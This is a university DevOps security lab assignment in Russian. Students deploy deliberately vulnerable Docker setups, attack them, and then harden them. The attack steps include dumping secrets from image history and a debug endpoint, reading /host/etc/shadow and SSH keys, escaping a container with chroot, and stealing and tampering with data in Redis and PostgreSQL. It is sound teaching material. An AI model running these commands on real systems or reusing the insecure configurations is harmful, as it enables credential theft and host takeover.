ЛАБОРАТОРНАЯ РАБОТА
DevOps Security: Построй, Сломай,
Защити
Практическое задание по безопасности DevOps-инфраструктуры
Курс: DevOps — от принципов к практике
Уровень: Магистратура
Время: 4–6 академических часов
Формат: Индивидуально или в парах
Инструменты: Docker, Docker Compose, Git
Введение
В этой лабораторной работе вы пройдёте полный цикл DevOps Security: сначала
развернёте уязвимое приложение, затем самостоятельно проэксплуатируете три
критические уязвимости, и наконец — устраните их, применив лучшие практики
безопасности.
Важно!
Все действия выполняются ТОЛЬКО на локальной машине в изолированной Docker-среде.
Запрещено применять полученные знания против чужих систем. Это уголовное преступление.
Цели работы
• Понять, как типичные ошибки конфигурации приводят к компрометации системы
• Научиться эксплуатировать уязвимости для понимания реального ущерба
• Освоить инструменты и практики защиты DevOps-инфраструктуры
• Сформировать привычку Security-first мышления
Что вам потребуется
• Docker и Docker Compose (версия 2.x+)
• Git
• Текстовый редактор (VS Code рекомендуется)
• Терминал (bash / zsh / PowerShell)
• curl или Postman для HTTP-запросов
• Базовые знания Linux, Docker, сетей
Структура задания
Работа состоит из трёх независимых задач. Каждая задача проходит по одному
сценарию:
Этап ПОСТРОЙ СЛОМАЙ ЗАЩИТИ
Действие Разворачиваете уязвимую Эксплуатируете Устраняете проблему,
систему по инструкции уязвимость, фиксируете проверяете что атака
результат больше невозможна
Задача 1. Утечка секретов из Docker-образа
Тема: Хардкод секретов в Dockerfile и [Link] — как это приводит к полной
компрометации учётных данных.
Фаза 1: ПОСТРОЙ
Создайте следующую структуру проекта:
vulnerable-app/
├── [Link]
├── Dockerfile
├── [Link]
└── [Link]
Файл: [Link]
flask==3.0.0
psycopg2-binary==2.9.9
Файл: [Link]
import os
from flask import Flask, jsonify
app = Flask(__name__)
DB_HOST = [Link]('DB_HOST', 'localhost')
DB_USER = [Link]('DB_USER', 'admin')
DB_PASSWORD = [Link]('DB_PASSWORD', 'changeme')
API_KEY = [Link]('API_KEY', 'no-key')
@[Link]('/')
def index():
return jsonify({"status": "running", "db_host": DB_HOST})
@[Link]('/health')
def health():
return jsonify({"healthy": True, "db_user": DB_USER})
@[Link]('/debug')
def debug():
# Опасный endpoint — выводит все env vars
return jsonify(dict([Link]))
if __name__ == '__main__':
[Link](host='[Link]', port=5000)
Файл: Dockerfile (УЯЗВИМЫЙ)
FROM python:3.11
WORKDIR /app
# Ошибка 1: секреты в ENV-инструкциях
ENV DB_PASSWORD="SuperSecretPass_2024!"
ENV API_KEY="sk-live-4f3c2b1a0987654321fedcba"
ENV AWS_SECRET_ACCESS_KEY="wJalrXUtnFEMI/K7MDENG/bPxRfiCY"
COPY [Link] .
RUN pip install -r [Link]
COPY . .
EXPOSE 5000
CMD ["python", "[Link]"]
Файл: [Link] (УЯЗВИМЫЙ)
version: '3.8'
services:
web:
build: .
ports:
- "5000:5000"
environment:
- DB_HOST=[Link]
- DB_USER=root
- DB_PASSWORD=SuperSecretPass_2024!
- API_KEY=sk-live-4f3c2b1a0987654321fedcba
- JWT_SECRET=my-super-secret-jwt-key-never-share
db:
image: postgres:15
environment:
POSTGRES_PASSWORD: SuperSecretPass_2024!
POSTGRES_USER: root
POSTGRES_DB: production
ports:
- "5432:5432" # БД открыта наружу!
Соберите и запустите:
docker compose up -d --build
# Убедитесь, что [Link] отвечает
Фаза 2: СЛОМАЙ
Цель: извлечь ВСЕ секреты из системы тремя разными способами.
Атака A: Извлечение секретов через Docker History
Даже если контейнер остановлен, секреты из ENV-инструкций навсегда сохраняются в
слоях образа.
# Посмотрите историю слоёв образа
docker history vulnerable-app-web --no-trunc
# Запишите: какие секреты вы видите?
Атака B: Дамп переменных окружения работающего контейнера
# Способ 1: через docker inspect
docker inspect vulnerable-app-web-1 --format='{{json .[Link]}}' | python3 -m
[Link]
# Способ 2: через exec внутри контейнера
docker exec vulnerable-app-web-1 env
# Способ 3: через опасный /debug endpoint
curl [Link] | python3 -m [Link]
Атака C: Прямое подключение к базе данных
# БД открыта на порту 5432, пароль известен
psql -h localhost -U root -d production
# или через Docker:
docker exec -it vulnerable-app-db-1 psql -U root -d production
# Попробуйте: \l (list databases), \du (list users)
Что зафиксировать:
Сделайте скриншоты всех найденных секретов. Запишите: сколько секретов утекло, каким
способом, и какой потенциальный ущерб каждый из них может нанести (например: AWS-ключ
→ доступ к облаку, JWT secret → подделка токенов).
Фаза 3: ЗАЩИТИ
Теперь устраните все найденные проблемы.
Шаг 1: Убрать секреты из Dockerfile
Перепишите Dockerfile — никаких ENV с секретами:
FROM python:3.11-slim
RUN groupadd -r appuser && useradd -r -g appuser appuser
WORKDIR /app
COPY [Link] .
RUN pip install --no-cache-dir -r [Link]
COPY . .
USER appuser
EXPOSE 5000
CMD ["python", "[Link]"]
Шаг 2: Использовать Docker Secrets + .env файл
Создайте файл .env (и добавьте его в .gitignore!):
# .env (этот файл НЕ коммитить!)
DB_PASSWORD=SuperSecretPass_2024!
API_KEY=sk-live-4f3c2b1a0987654321fedcba
JWT_SECRET=my-super-secret-jwt-key-never-share
Обновлённый [Link]:
version: '3.8'
services:
web:
build: .
ports:
- "5000:5000"
env_file:
- .env
environment:
- DB_HOST=db
- DB_USER=appuser
depends_on:
- db
db:
image: postgres:15
environment:
POSTGRES_PASSWORD_FILE: /run/secrets/db_password
POSTGRES_USER: appuser
POSTGRES_DB: appdata
secrets:
- db_password
# ports: убраны! БД не доступна снаружи
secrets:
db_password:
file: ./secrets/db_password.txt
Шаг 3: Удалить /debug endpoint и добавить .gitignore
# .gitignore
.env
secrets/
*.pem
*.key
Шаг 4: Проверка
1. Пересоберите: docker compose up -d --build
2. Проверьте docker history — секретов больше нет в слоях
3. Проверьте docker inspect — секреты не в environment
4. Проверьте, что порт 5432 больше не доступен с хоста
5. Проверьте, что /debug endpoint удалён (404)
Критерий выполнения:
docker history не показывает секреты, docker inspect не содержит паролей в Env, БД недоступна
с хоста, /debug возвращает 404.
Задача 2. Побег из контейнера через привилегированный
режим
Тема: Запуск контейнера с --privileged и монтированием хостовой файловой системы
позволяет получить полный контроль над хостом.
Фаза 1: ПОСТРОЙ
Создайте уязвимый [Link], имитирующий «сервис мониторинга», которому
«нужен доступ к Docker»:
Файл: [Link] (УЯЗВИМЫЙ)
version: '3.8'
services:
monitor:
image: alpine:latest
command: sh -c "apk add --no-cache curl && sleep infinity"
privileged: true # Полные привилегии!
pid: host # Видит процессы хоста!
volumes:
- /:/host # Вся FS хоста смонтирована!
- /var/run/[Link]:/var/run/[Link] # Docker socket!
webapp:
image: nginx:alpine
ports:
- "8080:80"
Запустите:
docker compose up -d
Фаза 2: СЛОМАЙ
Цель: продемонстрировать, что из контейнера monitor можно получить полный доступ к
хосту.
Атака A: Чтение файлов хоста
# Зайдите в контейнер
docker exec -it escape-lab-monitor-1 sh
# Прочитайте пароли хоста
cat /host/etc/shadow
# Прочитайте SSH-ключи пользователей
ls /host/home/*/.ssh/
cat /host/home/*/.ssh/id_rsa 2>/dev/null || echo 'нет ключей'
# Прочитайте конфиги Docker
cat /host/root/.docker/[Link] 2>/dev/null
Атака B: Просмотр процессов хоста
# Внутри контейнера (pid: host)
ps aux
# Вы видите ВСЕ процессы хоста!
# Можно увидеть секреты в аргументах команд
Атака C: Побег через chroot
# Полный побег на хост через chroot
chroot /host /bin/bash
# Теперь вы фактически root на хосте:
whoami # root
hostname # имя хоста, не контейнера!
docker ps # видите все контейнеры
# Выход: exit
Что зафиксировать:
Скриншоты: содержимое /host/etc/shadow, список процессов хоста, результат whoami и
hostname после chroot. Опишите: что мог бы сделать злоумышленник с таким доступом.
Фаза 3: ЗАЩИТИ
Перепишите [Link] с минимальными привилегиями:
Исправленный [Link]
version: '3.8'
services:
monitor:
image: alpine:latest
command: sh -c "apk add --no-cache curl && sleep infinity"
# Убрано: privileged, pid: host, опасные volumes
read_only: true # Read-only filesystem
tmpfs:
- /tmp # Только /tmp для записи
security_opt:
- no-new-privileges:true # Запрет эскалации
cap_drop:
- ALL # Убрать все capabilities
cap_add:
- NET_RAW # Только нужные (для ping)
deploy:
resources:
limits:
memory: 256M
cpus: '0.5'
webapp:
image: nginx:alpine
ports:
- "8080:80"
read_only: true
tmpfs:
- /var/cache/nginx
- /tmp
security_opt:
- no-new-privileges:true
cap_drop:
- ALL
cap_add:
- NET_BIND_SERVICE
Проверка
1. Пересоберите: docker compose up -d
2. Зайдите в контейнер: docker exec -it ... sh
3. Убедитесь: /host не существует, ps aux показывает только процессы контейнера
4. Попробуйте: chroot /host — должно быть «No such file or directory»
5. Попробуйте записать файл: touch /[Link] — должно быть «Read-only file system»
Критерий выполнения:
Контейнер не видит файловую систему хоста, не видит процессы хоста, не может записать
файлы, не может выполнить chroot. Docker socket не смонтирован.
Задача 3. Эксплуатация незащищённой сети между
контейнерами
Тема: По умолчанию все контейнеры в docker-compose видят друг друга.
Скомпрометированный контейнер может атаковать соседей.
Фаза 1: ПОСТРОЙ
Создайте микросервисную архитектуру из трёх сервисов: фронтенд, API и база данных с
Redis-кэшем.
Файл: [Link] (УЯЗВИМЫЙ)
version: '3.8'
services:
frontend:
image: alpine:latest
command: sh -c "apk add --no-cache curl nmap redis && sleep infinity"
# Имитируем frontend с утилитами
api:
image: alpine:latest
command: sh -c "apk add --no-cache python3 py3-pip && pip install flask redis
--break-system-packages && python3 /app/[Link]"
volumes:
- ./api:/app
redis:
image: redis:7-alpine
# Без пароля!
db:
image: postgres:15-alpine
environment:
POSTGRES_PASSWORD: admin123
POSTGRES_USER: admin
POSTGRES_DB: users
Файл: api/[Link]
from flask import Flask, jsonify
import redis
app = Flask(__name__)
cache = [Link](host='redis', port=6379)
@[Link]('/api/users')
def users():
[Link]('api_calls')
return jsonify({'users': ['alice', 'bob'], 'calls':
int([Link]('api_calls'))})
@[Link]('/api/secret')
def secret():
[Link]('admin_token', '[Link]')
return jsonify({'status': 'token cached'})
if __name__ == '__main__':
[Link](host='[Link]', port=8000)
Создайте директорию и запустите:
mkdir -p api
# Сохраните [Link] в api/[Link]
docker compose up -d
# Сгенерируйте данные: зайдите в api контейнер и вызовите
docker exec -it network-lab-api-1 sh -c 'curl [Link]
Фаза 2: СЛОМАЙ
Цель: Из «скомпрометированного» frontend-контейнера обнаружить и атаковать все
сервисы в сети.
Атака A: Разведка сети
# Зайдите в frontend (имитируя компрометацию)
docker exec -it network-lab-frontend-1 sh
# Сканирование сети — найдите все хосты
nmap -sn [Link]/24 2>/dev/null || nmap -sn [Link]/24
# Сканирование портов найденных хостов
nmap -p 1-10000 redis
nmap -p 1-10000 db
nmap -p 1-10000 api
Атака B: Кража данных из Redis
# Redis без пароля — подключаемся напрямую
redis-cli -h redis
# Посмотрите все ключи
KEYS *
# Украдите admin-токен
GET admin_token
# Подмените данные (подделка кэша)
SET admin_token 'hacked-token-12345'
# Проверьте — API теперь использует поддельный токен
Атака C: Подключение к PostgreSQL
# Из frontend-контейнера — подключаемся к БД
# (установите postgresql-client если нужно)
apk add --no-cache postgresql-client
# Подключение — пароль admin123 (угадывается или найден в compose)
PGPASSWORD=admin123 psql -h db -U admin -d users
# Посмотрите таблицы, создайте ложного админа:
CREATE TABLE IF NOT EXISTS admins (id serial, name text, role text);
INSERT INTO admins VALUES (1, 'hacker', 'superadmin');
Что зафиксировать:
Скриншоты: результаты nmap (какие сервисы и порты видит frontend), содержимое Redis
(admin_token), подключение к PostgreSQL. Опишите: почему frontend не должен видеть БД
напрямую.
Фаза 3: ЗАЩИТИ
Создайте сетевую изоляцию через Docker networks:
Исправленный [Link]
version: '3.8'
services:
frontend:
image: alpine:latest
command: sh -c "apk add --no-cache curl && sleep infinity"
networks:
- frontend-net # Только frontend-сеть!
api:
image: alpine:latest
command: sh -c "apk add --no-cache python3 py3-pip && pip install flask redis
--break-system-packages && python3 /app/[Link]"
volumes:
- ./api:/app
networks:
- frontend-net # frontend может ходить в api
- backend-net # api может ходить в redis/db
redis:
image: redis:7-alpine
command: redis-server --requirepass "StrongRedisPass!"
networks:
- backend-net # Только backend!
db:
image: postgres:15-alpine
environment:
POSTGRES_PASSWORD_FILE: /run/secrets/db_pass
POSTGRES_USER: app_service
POSTGRES_DB: users
secrets:
- db_pass
networks:
- backend-net # Только backend!
networks:
frontend-net:
driver: bridge
backend-net:
driver: bridge
internal: true # Нет доступа в интернет!
secrets:
db_pass:
file: ./secrets/db_password.txt
Проверка
1. Пересоберите: docker compose down && docker compose up -d
2. Из frontend попробуйте: ping redis — должно быть «Name does not resolve»
3. Из frontend попробуйте: ping db — должно быть «Name does not resolve»
4. Из frontend: curl [Link] — должно работать
5. Из api: redis-cli -h redis -a StrongRedisPass! PING — PONG
6. Из frontend: redis-cli -h redis — не должно подключаться
Критерий выполнения:
frontend может обращаться только к api. frontend НЕ видит redis и db. Redis защищён паролем.
Сеть backend-net имеет флаг internal: true (нет выхода в интернет).
Требования к отчёту
По результатам работы подготовьте отчёт, содержащий:
1. Титульный лист с ФИО, группой и датой
2. Для каждой из 3 задач:
◦ Скриншоты фазы «СЛОМАЙ» с пояснениями: что именно вы сделали и
какой результат получили
◦ Описание потенциального ущерба: что мог бы сделать реальный
злоумышленник
◦ Исходный код исправленных файлов (фаза «ЗАЩИТИ»)
◦ Скриншоты проверки: доказательство того, что уязвимость устранена
3. Таблицу-сводку (заполните):
Уязвимость Вектор атаки Потенциальный ущерб Метод защиты
Хардкод секретов
Privileged контейнер
Flat network
4. Раздел «Выводы»: какие принципы безопасности вы усвоили, что удивило.
Критерии оценки
Критерий Баллы Комментарий
Задача 1 — фаза СЛОМАЙ 10 Все 3 атаки выполнены
Задача 1 — фаза ЗАЩИТИ 10 Секреты убраны из образа
Задача 2 — фаза СЛОМАЙ 10 Побег через chroot
Задача 2 — фаза ЗАЩИТИ 10 Минимальные привилегии
Задача 3 — фаза СЛОМАЙ 10 Данные из Redis + DB
Задача 3 — фаза ЗАЩИТИ 10 Сетевая изоляция работает
Качество отчёта 15 Скриншоты, пояснения,
выводы
Таблица-сводка 10 Все ячейки заполнены
корректно
Бонус: доп. уязвимость 15 Найти и устранить 4-ю
проблему
ИТОГО (макс.) 100 85 без бонуса
Бонусное задание
Найдите и устраните хотя бы одну дополнительную уязвимость в любой из задач, которая
не была описана в основном задании. Примеры того, что можно поискать:
• Контейнеры запускаются от root-пользователя (USER не указан)
• Используется тег latest вместо фиксированной версии образа
• Отсутствие health checks
• Логирование секретов в stdout
• Отсутствие ограничений на ресурсы (memory/CPU limits)
• Возможность DNS rebinding или SSRF через внутренние сервисы
Опишите найденную уязвимость, покажите её эксплуатацию и предложите исправление.
Курс «DevOps: от принципов к практике» — Магистратура — МГТУ им. Н.Э. Баумана